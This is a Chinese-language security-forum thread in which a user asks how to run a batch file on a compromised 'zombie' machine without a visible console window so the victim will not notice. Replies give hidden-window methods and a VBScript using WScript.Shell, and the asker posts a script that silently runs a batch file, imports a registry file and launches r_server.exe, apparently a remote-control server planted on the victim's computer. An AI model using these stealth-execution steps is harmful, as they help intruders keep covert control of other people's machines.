|
作者: shuaishuai [shuaishuai] 论坛用户 | 登录 |
在肉鸡上运行bat文件很实用,可是会出现一闪而过的dos窗口,容易被发现, 我想将bat文件做成exe文件,使运行后没有任何窗口出现, 并且运行效果和bat文件一样,咋的弄?(vb? VC?)? 晕晕 我不会 |
地主 发表时间: 07/07 20:50 |
回复: shesh [shesh] 版主 | 登录 |
直接用ShellExec或者CreateProcess,然后用隐藏属性运行批处理文件,不会有窗口的. |
B1层 发表时间: 07/08 09:12 |
回复: tabris17 [tabris17] 论坛用户 | 登录 |
还有几个简单的方法 1,用vbscript: Set Shell = CreateObject("Wscript.Shell") Shell.Run "c:\\winnt\\system32\\notepad.exe",0,1 (最后2个参数设置为1,1的话便会显示窗口) 2,用快捷方式 设置运行方式为最小化 |
B2层 发表时间: 07/08 11:19 |
回复: shuaishuai [shuaishuai] 论坛用户 | 登录 |
4不象用vbs的方法在2k里好使, Set Shell = CreateObject("Wscript.Shell") Shell.Run "c:\\winnt\\xxx.bat",0,1 Shell.Run "c:\\winnt\\regedit.exe /s c:\winnt\r_server.reg",0,1 Shell.Run "c:\\winnt\\r_server.exe",1,1 可是在98下ActiveX 部件不能创建对象: 'Wscript.Shell' [此贴被 帅帅(shuaishuai) 在 07月08日13时13分 编辑过] |
B3层 发表时间: 07/08 13:43 |
回复: tabris17 [tabris17] 论坛用户 | 登录 |
应该没问题的 可能是对方卸载了某些组件??? 试试“WScript.Shell”(注意大小写) 还有问题就不知道了 |
B4层 发表时间: 07/08 14:34 |
回复: shuaishuai [shuaishuai] 论坛用户 | 登录 |
我搞清楚了~原来是我装98时把系统目录里的Wshom.ocx文件给删了~当时的想法是为了避开网页恶意脚本的困扰, 害我找了半天的原因. |
B5层 发表时间: 07/08 18:48 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号